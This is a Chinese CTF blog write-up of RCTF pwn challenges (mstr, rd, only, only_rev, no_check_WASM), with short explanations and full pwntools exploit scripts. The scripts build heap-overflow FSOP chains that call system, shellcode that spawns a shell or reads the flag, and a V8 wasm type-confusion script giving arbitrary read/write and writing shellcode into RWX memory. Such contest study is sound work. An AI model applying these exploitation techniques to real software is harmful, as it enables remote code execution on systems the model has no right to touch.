← 返回文章归档
FIELD NOTES / Pwn13 MIN READ

RCTF pwn方向题解(缺bbox)

mstr

python pwn

漏洞和python内部的机制有关系,python对象并不直接存储对象,而是存储对象的引用。而mutableString类的data是string,max_size_str也是string。这就会导致data和max_size_str指向同一个字符对象。

至此还不会产生漏洞,因为如果对data进行修改,python会创建新的对象并修改引用指针。但是此时类里面提供了一个方法可以直接修改字符数组+=。如果我们对一个size进行+=就会导致max_size超级大,从而产生一个堆溢出。

然后观察堆上的情况,会发现对正常的对象进行溢出会破坏结构指针导致crush。而python堆结尾的内容则为全空,覆盖也不会产生影响。因此可以考虑堆喷将对象喷到堆末尾,然后再申请新的对象,从而构造出堆重叠。(+=方法会修改string对象的长度)

接着通过modify就可以修改下一个字符对象的长度,再从堆上泄漏出libcbase和heapbase,接下来用任意写打FSOP即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
from pwn import *
filename = './python'
libc = ELF("./libc.so.6")
host= '1.95.190.154'
port= 26000

# host = '127.0.0.1'
# port = 9999

sla = lambda x,s : p.sendlineafter(x,s)
sl = lambda s : p.sendline(s)
sa = lambda x,s : p.sendafter(x,s)
s = lambda s : p.send(s)
e = ELF(filename)
context.log_level='debug'
context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)
def run(mode, script = ""):
if "d" in mode:
p = gdb.debug(filename, script)
elif "l" in mode:
p = process([filename, './mstr.py'])
elif "r" in mode:
p = remote(host, port)
elif "a" in mode:
p = process([filename, './mstr.py'])
gdb.attach(p, script)
return p

def getp():
global script
if len(sys.argv) == 2:
p = run(sys.argv[1], script)
else:
p = run("l", script)
return p

def new(content):
payload = b'new ' + content
sla('>', payload)

def set_max(idx, size):
payload = b'set_max ' + str(size).encode() + b' ' + str(idx).encode()
sla('>',payload)

def plus_eq(idx1, idx2):
payload = b'+= ' + str(idx1).encode() + b' ' + str(idx2).encode()
sla('>', payload)

def plus(idx1, idx2):
payload = b'+ ' + str(idx1).encode() + b' ' + str(idx2).encode()
sla('>', payload)

def print_max(idx):
payload = b'print_max '+ str(idx).encode()
sla('>', payload)

def print_c(idx):
payload = b'print '+ str(idx).encode()
sla('>', payload)

def modify(idx, offset, val):
payload = b'modify ' + str(idx).encode() + b' ' + str(offset).encode() + b' ' + str(val).encode()
sla('>', payload)

script = '''
'''
def pwn():
global p
p = getp()
new(b'9') # 0
new(b'8')

new(b'a'*0x300) # 2
new(b'b'*0x300)

for i in range(2, 0x20):
new(b'1'*0x80)

set_max(33, 9)
set_max(2, 9)

plus_eq(0, 1)
plus_eq(0, 1)
plus_eq(0, 1)
plus_eq(0, 1)


plus_eq(33, 5)
plus_eq(33, 5)
plus_eq(33, 5)

new(b'meow'*0x20) # 34

print_c(33)
p.recvuntil(b'1'*0x88)
p.recv(0x8)
unitype = u64(p.recv(8))

print(hex(unitype))

# new(b'1'*0x10 + p64(0) + p64(1) + p64(unitype) + b'\xff') # 35
new(b'1'*0x10)

plus_eq(2, 35)
plus_eq(2, 35)
plus_eq(2, 35)

def write_at(off, content):
for i in range(0, 8):
modify(2, off+i, content[i])
# write_at(0x310, p64(0x241))
# write_at(0x318, p64(0x1))
write_at(0x320, p64(unitype))
write_at(0x328, p64(0x1000, sign='signed'))

print_c(3)
p.recvuntil(p64(0xd51))
libcbase = u64(p.recv(8)) - 0x204120
p.recv(8)
haddr = u64(p.recv(8)) - 0x9f8
write_at(0x328, p64(0x800000000000))

def write_at(off, content):
for i in range(0, 8):
modify(3, off+i, content[i])
write_at(libcbase+libc.sym['_IO_list_all'] - haddr, p64(haddr+0x100))

# 0x0 rdi 0x8 _IO_read_ptr
# 0x10 _IO_read_end 0x18 _IO_read_base
# 0x20 _IO_write_base 0x28 _IO_write_ptr
# 0x30 _IO_write_end 0x38 _IO_buf_base
# 0x40 _IO_buf_end 0x48 _IO_save_base
# 0x50 _IO_backup_base 0x58 _IO_save_end
# 0x60 _markers 0x68 _chain
# 0x70 _fileno 0x74 _flags2
# 0x78 _old_offset 0x80 _cur_column
# 0x82 _vtable_offset 0x83 _shortbuf
# 0x88 _lock 0x90 _offset
# 0x98 _codecvt 0xa0 _wide_data
# 0xa8 _freeres_list 0xb0 _freeres_buf
# 0xb8 __pad5 0xc0 _mode
# 0xc4 _unused2 0xd8 vtable
libc.address = libcbase
fake_file = haddr+0x100
payload = flat({
0x0 : 0xfbad1800,
0x28: 1,

0xa0: fake_file,
0x68: libcbase + 0x16e828,
0x8: fake_file + 0x70,
0x78: libcbase + 0x171bd9,
0x70: fake_file + 0x58,
0x58: b'cat /f*\x00',
0x90: fake_file + 0x90,
0x98: libc.sym['system'],

0x88: libcbase + 0x205720,
0x10: 1,
0xd8 : libc.sym['_IO_wfile_jumps'],
0xe0 : fake_file
}, filler =b'\x00').ljust(0x180, b'\0')

for i in range(0, len(payload)):
modify(3, 0x100+i, payload[i])

print(hex(libcbase))
print(hex(haddr))
pause()
p.shutdown("send")
p.interactive()
# print_c(3)
# print_max(2)
# modify(2, 0x250, 0xff)
pwn()

PS:如果发送端关闭python会进入exit流程,但是直接Ctrl+C同时也会关闭接收端,所以用shutdown只关闭接收端,远程读取flag后回显即可。

rd

本题漏洞为对象task指针未清空。如果我们能把一个已经free的对象申请回来,配合task_run就是一个竞态堆溢出。

然后就是耐心风水,泄漏堆栈地址然后打FSOP……(注意task->content会被写堆地址,配合前面的漏洞就是一个任意地址写堆地址)

(一开始还试着劫持rbp打栈迁移后面发现还不如打FSOP…)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
from pwn import *
filename = './main'
libc = ELF("./libc.so.6")
host= '1.95.160.168'
port = 26001

# host = '127.0.0.1'
# port= 13331


sla = lambda x,s : p.sendlineafter(x,s)
sl = lambda s : p.sendline(s)
sa = lambda x,s : p.sendafter(x,s)
s = lambda s : p.send(s)
e = ELF(filename)
context.log_level='debug'
context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)
def run(mode, script = ""):
if "d" in mode:
p = gdb.debug(filename, script)
elif "l" in mode:
p = process(filename)
elif "r" in mode:
p = remote(host, port)
elif "a" in mode:
p = process(filename)
gdb.attach(p, script)
return p

def getp():
global script
if len(sys.argv) == 2:
p = run(sys.argv[1], script)
else:
p = run("l", script)
return p

script = '''
go
'''


def login(username, passwd, pads = b''):
pay = b'command:login\n'
pay += b'username:'+ username + b'\n'
pay += b'password:' + passwd + b'\n'
pay += pads
sl(pay)
p.recvuntil('user_token:')
x = p.recv(32)
print(x)
return x

def register(username, passwd, pads = b''):
pay = b'command:register\n'
pay += b'username:'+ username + b'\n'
pay += b'password:' + passwd + b'\n'
pay += pads
sl(pay)
p.recvuntil('success')

def nohup_register(username, passwd, pads = b''):
pay = b'command:register\n'
pay += b'username:'+ username + b'\n'
pay += b'password:' + passwd + b'\n'
pay += pads
sl(pay)
# p.recvuntil('success')

def submit_task(token, raw_content, encrypted = 0, pads= b''):
content = b''
if encrypted:
for byte in raw_content:
content += int.to_bytes(byte ^ 0x3f)
else:
content = raw_content
pay = b'command:submit_task\n'
pay += b'user_token:' + token + b'\n'
pay += b'task_content:' + content + b'\n'
pay += pads
sl(pay)

def deregister(token):
pay = b'command:deregister\n'
pay += b'user_token:' + token + b'\n'
sl(pay)
p.recvuntil('success')

def pwn():
global p
p = getp()
for i in range(0, 8):
register(str(i).encode(), b'abcdabcd')
register(b'8'*0x127, b't'*0x127)
for i in range(9, 16):
register(str(i).encode(), b'abcdabcd')
# pause()
token15 = login(b'15', b'abcdabcd')
token14 = login(b'14', b'abcdabcd')
token8 = login(b'8'*0x127, b't'*0x127)
token7 = login(b'7', b'abcdabcd')

deregister(token8)
deregister(token7)
register(b'7', b'1')
register(b'8', b'abcdabcd')

submit_task(token15, b'1'*0x127)
deregister(token15)
deregister(token14)
register(b'14', b'abcdabcd')
register(b'15', b'abcdabcd')
token = login(b'15', b'abcdabcd', b'1:'+b'1'*0x27)
submit_task(token, b'x'*0x128+p64(0x31)+b'\xc0', 1)

sleep(4)
libcbase = u64(login(b'8', b'abcdabcd')[-6:]+b'\x00\x00') + 0x39c8
print(hex(libcbase))
libc.address = libcbase
# pause()
#
register(b'1'*0x47, b'a'*0x47)
register(b'101', b'abcdabcd')
register(b'102', b'abcdabcd')
register(b'103', b'abcdabcd')

token13 = login(b'13', b'abcdabcd')
token12 = login(b'12', b'abcdabcd')
token100 =login(b'1'*0x47, b'a'*0x47)
token101 = login(b'101', b'abcdabcd')

deregister(token100)
deregister(token101)

register(b'100', b'1')
register(b'101', b'abcdabcd')

submit_task(token13, b'2'*0x47)

deregister(token13)
deregister(token12)
register(b'12', b'abcdabcd')
register(b'13', b'abcdabcd')
token = login(b'13', b'abcdabcd', b'1:'+b'1'*0x27)

pay = b'y'*0x48
pay += p64(0x31)+b'z'*0x28
pay += p64(0x51)+b'a'*0x48
pay += p64(0x51)+b'a'*0x48
pay += p64(0x31)+b'o'*0x28
pay += p64(0x31)+b'o'*0x28
pay += p64(0x21)+b'm'*0x18
pay += p64(0x31)+p64(libc.sym['environ'])
submit_task(token, pay , 1)

sleep(4)
binsh = libc.search('/bin/sh').__next__()
stack = u64(login(b'102', b'abcdabcd').split(b' ')[-1]+b'\x00\x00')
canary = stack - 0x1c0
print(hex(libcbase))
print(hex(stack))
print(hex(binsh))

# -------------------------------------------- #

register(b'2'*0x57, b'd'*0x57)
register(b'201', b'abcdabcd')
register(b'202', b'abcdabcd')
register(b'203', b'abcdabcd')

token11 = login(b'11', b'abcdabcd')
token10 = login(b'10', b'abcdabcd')
token200 =login(b'2'*0x57, b'd'*0x57)
token201 = login(b'201', b'abcdabcd')

deregister(token200)
deregister(token201)

register(b'200', b'1')
register(b'201', b'abcdabcd')

submit_task(token11, b'+'*0x57)

deregister(token11)
deregister(token10)
register(b'10', b'abcdabcd')
register(b'11', b'abcdabcd')
token = login(b'11', b'abcdabcd')

pay = b'p'*0x58
pay += p64(0x31)+b'i'*0x28
pay += p64(0x61)+b'r'*0x58
pay += p64(0x61)+b't'*0x58
pay += p64(0x31)+b's'*0x28
pay += p64(0x31)+b'w'*0x28
pay += p64(0x21)+b'c'*0x18
pay += p64(0x31)+p64(libcbase + 0x203b20)+p64(binsh)+p64(binsh)+p64(0)+p64(libc.sym['stdout']-0x20)

submit_task(token, pay , 1)
sleep(4)
token = login(b'/bin/sh', b'/bin/sh').split(b' ')[-1]
top_chunk = u64(token[0:6]+b'\x00\x00')

# 0x0 rdi 0x8 _IO_read_ptr
# 0x10 _IO_read_end 0x18 _IO_read_base
# 0x20 _IO_write_base 0x28 _IO_write_ptr
# 0x30 _IO_write_end 0x38 _IO_buf_base
# 0x40 _IO_buf_end 0x48 _IO_save_base
# 0x50 _IO_backup_base 0x58 _IO_save_end
# 0x60 _markers 0x68 _chain
# 0x70 _fileno 0x74 _flags2
# 0x78 _old_offset 0x80 _cur_column
# 0x82 _vtable_offset 0x83 _shortbuf
# 0x88 _lock 0x90 _offset
# 0x98 _codecvt 0xa0 _wide_data
# 0xa8 _freeres_list 0xb0 _freeres_buf
# 0xb8 __pad5 0xc0 _mode
# 0xc4 _unused2 0xd8 vtable
fake_file = top_chunk+0x1a0
payload = flat({
0x0 : 0xfbad1800,

0xa0: fake_file,
0x68: libcbase + 0x16e828,
0x8: fake_file + 0x70,
0x78: libcbase + 0x171bd9,
0x70: fake_file + 0x58,
0x58: b'/bin/sh\x00',
0x90: fake_file + 0x90,
0x98: libc.sym['system'],

0x88: libcbase + 0x205720,
0x10: 1,
0xd8 : libc.sym['_IO_wfile_jumps'] - 0x20,
0xe0 : fake_file
}, filler =b'\x00').ljust(0x180, b'\0')
# for i in range(0, 0x8):
# payload += p64(i*0x101) * 4
print(hex(top_chunk))
print(hex(libcbase))
print(hex(stack))
print(hex(binsh))
pause()
submit_task(p64(top_chunk+0x190)[0:6], payload, 1)

# 0x000000000017ac2c : mov rax, qword ptr [rdi + 8] ; call qword ptr [rax + 0x18]
# 0x000000000016c4a7 : mov rax, qword ptr [rdi + 8] ; call qword ptr [rax + 0x20]
# 0x00000000001763ae : mov rax, qword ptr [rdi + 8] ; call qword ptr [rax + 0x28]
# 0x000000000016da52 : mov rax, qword ptr [rdi + 8] ; call qword ptr [rax + 0x30]
# 0x000000000017b837 : mov rax, qword ptr [rdi + 8] ; call qword ptr [rax + 0x48]
# 0x000000000016e828 : mov rax, qword ptr [rdi + 8] ; call qword ptr [rax + 8]

# 0x0000000000171d26 : mov rdi, qword ptr [rax] ; mov rax, qword ptr [rdi + 0x38] ; call qword ptr [rax + 0x18]
# 0x00000000001762fd : mov rdi, qword ptr [rax] ; mov rax, qword ptr [rdi + 0x38] ; call qword ptr [rax + 0x20]
# 0x0000000000171bd9 : mov rdi, qword ptr [rax] ; mov rax, qword ptr [rdi + 0x38] ; call qword ptr [rax + 8]

# register(p64(stack-0x11f8)*5, p64(stack-0x11f8)*5)
nohup_register(b'1000', b'1000')

pwn()
p.interactive()

only

Man, what can I say?

1
2
3
4
5
6
7
void edit()
if(something)
{
printf("EMPTY!!!");
exit(0);
}
//...

本质shellcode题,重新做出read就打完了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *
filename = './chal'
libc = ELF("./libc.so.6")
host= '1.95.190.154'
port= 0

sla = lambda x,s : p.sendlineafter(x,s)
sl = lambda s : p.sendline(s)
sa = lambda x,s : p.sendafter(x,s)
s = lambda s : p.send(s)
e = ELF(filename)
context.log_level='debug'
context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)
def run(mode, script = ""):
if "d" in mode:
p = gdb.debug(filename, script)
elif "l" in mode:
p = process(filename)
elif "r" in mode:
p = remote(host, port)
elif "a" in mode:
p = process(filename)
gdb.attach(p, script)
return p

def getp():
global script
if len(sys.argv) == 2:
p = run(sys.argv[1], script)
else:
p = run("l", script)
return p

script = '''
'''
def pwn():
global p
p = getp()
hex_value = 0xD0E0A0D0B0E0E0F
float_value = struct.unpack('d', struct.pack('Q', hex_value))[0]
print(f"The float value of 0x{hex_value:X} is: {float_value}")
sla('3.', '2')
sla('input', str(float_value))
sla(':', '1')
pause()
shellcode = asm('pop rsi;'*6 + 'mov dl,0xff; syscall')
sa(':', shellcode)
sleep(0.5)
s(asm('nop;'*0x40+shellcraft.sh()))



pwn()
p.interactive()

only_rev

It’s not funny

1
2
3
4
5
6
7
void edit()
if(something)
{
printf("EMPTY!!!");
exit(0);
}
//...

本质shellcode题,重新做出read然后就打完了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import *
filename = './chal'
# libc = ELF("./libc.so.6")
host= '1.95.164.64'
port= 26000

sla = lambda x,s : p.sendlineafter(x,s)
sl = lambda s : p.sendline(s)
sa = lambda x,s : p.sendafter(x,s)
s = lambda s : p.send(s)
e = ELF(filename)
context.log_level='debug'
context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)
def run(mode, script = ""):
if "d" in mode:
p = gdb.debug(filename, script)
elif "l" in mode:
p = process(filename)
elif "r" in mode:
p = remote(host, port)
elif "a" in mode:
p = process(filename)
gdb.attach(p, script)
return p

def getp():
global script
if len(sys.argv) == 2:
p = run(sys.argv[1], script)
else:
p = run("l", script)
return p

script = '''
go
'''
def pwn():
global p
p = getp()

hex_value = 0xD0E0A0D0B0E0E0F
float_value = struct.unpack('d', struct.pack('Q', hex_value))[0]
print(f"The float value of 0x{hex_value:X} is: {float_value}")
sla('3.', '2')
sla('input', str(float_value))
sla(':', '1')
pause()
shellcode = '''
syscall
mov rsi, rcx
mov dl, 0xff
syscall
'''
shellcode = asm(shellcode)
sa(':', shellcode)
sleep(0.5)
s(asm('nop;'*0x40+'lea rsp, [rip+0x800];' + shellcraft.open('flag', 0, 0) + shellcraft.read('rax', 'rsp', 0x100) + shellcraft.write(1, 'rsp', 0x100)))

pwn()
p.interactive()

no_check_WASM

本题取消了wasm的类型保护检查。

用externStructRef自己做一个结构体就能随便任意读写了

然后就是找rwx写rwx。wasm在预热以后能从它的栈内存里泄漏栈地址(猜测,总之是拿到了地址)

然后就写shellcode我的脚本是概率通,嗯。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pwn import *
import hashlib
import sys
import itertools
import string

def solve(h):
if isinstance(h, bytes): h = h.decode().strip()
cmd = ["hashcat", "-m", "1400", "-a", "3", "--quiet", "--potfile-disable", "--outfile-format=2", h, "rctf?h?h?h?h?h?h"]
return subprocess.check_output(cmd, stderr=subprocess.DEVNULL).decode().strip()[4:].encode()

filename = './d8'
# libc = ELF("./libc.so.6")
host= '127.0.0.1'
port= 7000

sla = lambda x,s : p.sendlineafter(x,s)
sl = lambda s : p.sendline(s)
sa = lambda x,s : p.sendafter(x,s)
s = lambda s : p.send(s)
e = ELF(filename)
context.log_level='debug'
context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)
def run(mode, script = ""):
if "d" in mode:
p = gdb.debug(filename, script)
elif "l" in mode:
p = process(filename)
elif "r" in mode:
p = remote(host, port)
elif "a" in mode:
p = process(filename)
gdb.attach(p, script)
return p

def getp():
global script
if len(sys.argv) == 2:
p = run(sys.argv[1], script)
else:
p = run("l", script)
return p

script = '''
'''
def pwn():
global p
p = getp()
p.recvuntil('Find a nonce such that SHA-256(\'rctf\' + nonce) == ')
hash = p.recvline(keepends=False)
nonce = solve(hash)
sa('nonce:', nonce)
with open('./1.js') as f:
js = f.read()
sla('size', str(len(js)))
sla('script', js)

pwn()
p.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
///// ------------------ wasm-module-builder.js END -------------------- /////

var foo = ()=>
{
return [1.0,
1.95538254221075331056310651818E-246,
1.95606125582421466942709801013E-246,
1.99957147195425773436923756715E-246,
1.95337673326740932133292175341E-246,
2.63486047652296056448306022844E-284];
}
for (let i = 0; i < 0x10000; i++) {
foo();foo();foo();foo();
}
// Helper
var _b = new ArrayBuffer(16);
var _f = new Float64Array(_b);
var _i = new BigUint64Array(_b);
function f2i(f)
{
_f[0] = f;
return _i[0];
}
function i2f(i)
{
_i[0] = i;
return _f[0];
}
function hex(i)
{
print("0x"+i.toString(16).padStart(16,"0"));
}

function addr_of(obj)
{
const builder = new WasmModuleBuilder();
const sig_i = makeSig([kWasmExternRef], [kWasmI64]);

builder.addFunction("addr", sig_i)
.exportFunc()
.addBody([
kExprLocalGet, 0,
]);
const instance = builder.instantiate();
const addr = instance.exports.addr;
return addr(obj);
}

function fake_obj(addr)
{
const builder = new WasmModuleBuilder();
const sig_i = makeSig([kWAsmI64], [kWasmExternRef]);

builder.addFunction("fake", sig_i)
.exportFunc()
.addBody([
kExprLocalGet, 0,
]);

const instance = builder.instantiate();
const fake = instance.exports.fake;
return fake(addr);
}

function buildConfuseFunction(addr)
{
const builder = new WasmModuleBuilder();

const filed_i64 = makeField(kWasmI64, true);
const structType = builder.addStruct([filed_i64], kNoSuperType, true, false);
const refStructType = wasmRefType(structType)

const sig_i = makeSig([kWasmI64], [refStructType]);
cast = builder.addFunction("i64_to_struct", sig_i)
.exportFunc()
.addBody([
kExprLocalGet, 0,
]);

const sig_j = makeSig([kWasmI64], [kWasmI64]);
builder.addFunction("_read64", sig_j)
.exportFunc()
.addBody([
kExprLocalGet, 0,
kExprCallFunction, ...wasmUnsignedLeb(cast.index, kMaxVarInt32Size),
kGCPrefix, kExprStructGet,
...wasmUnsignedLeb(structType, kMaxVarInt32Size),
...wasmUnsignedLeb(0, kMaxVarInt32Size),
]);

const sig_k = makeSig([kWasmI64, kWasmI64], []);
builder.addFunction("_write64", sig_k)
.exportFunc()
.addBody([
kExprLocalGet, 0,
kExprCallFunction, ...wasmUnsignedLeb(cast.index, kMaxVarInt32Size),
kExprLocalGet, 1,
kGCPrefix, kExprStructSet,
...wasmUnsignedLeb(structType, kMaxVarInt32Size),
...wasmUnsignedLeb(0, kMaxVarInt32Size),

]);

const instance = builder.instantiate();
return instance.exports;
}

function read64(addr)
{
return buildConfuseFunction()._read64(addr);
}

function write64(addr, value)
{
return buildConfuseFunction()._write64(addr, value);
}

function leak_stack()
{
const builder = new WasmModuleBuilder();
const sig_i = makeSig([], [kWasmI64, kWasmI64, kWasmF64, kWasmF64]);

builder.addFunction("leak", sig_i)
.exportFunc()
.addBodyWithEnd([
kExprEnd,
]);

const module_bytes = builder.toBuffer();
const mod = new WebAssembly.Module(module_bytes);
const instance = new WebAssembly.Instance(mod, {});
var ret_val = instance.exports.leak();
return ret_val;
}
darry = [1.1, 1.2, 1.3];
x = addr_of([foo]);
y = read64(x);
for(i = 0; i < 1000; i++)
{
var sth = leak_stack();
}
sth = leak_stack();
stack = f2i(sth[2]);
for(i = 0n; i < 100n; i++)
{
rwx = read64(stack + i * 8n + 1n);
// hex(rwx);
}

sh = [
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x6e69622fb848686an,
0xe7894850732f2f2fn,
0x2434810101697268n,
0x6a56f63101010101n,
0x894856e601485e08n,
0x50f583b6ad231e6n,
0xccccccccccccccccn,
0xfffffe57e9909090n,
];

rwx = read64(stack + 0x51n);
hex(rwx)
hex(stack);
hex(x);
hex(y);
print(y);

for(i = 1n; i < 100n; i++)
{
if(i < 0x34)
write64(rwx + i * 8n + 0n, sh[i]);
}

BBOX

没学过qemu逃逸,期中考完学一下

FROM THE ARCHIVE

这篇文章迁移自我的博客园,保留最初的记录。

阅读原文 ↗
/ END✳∷ — 00
SEARCH / 00

搜索文章

输入关键词,搜索全部文章。

标题 / 标签 / 全文ESC 关闭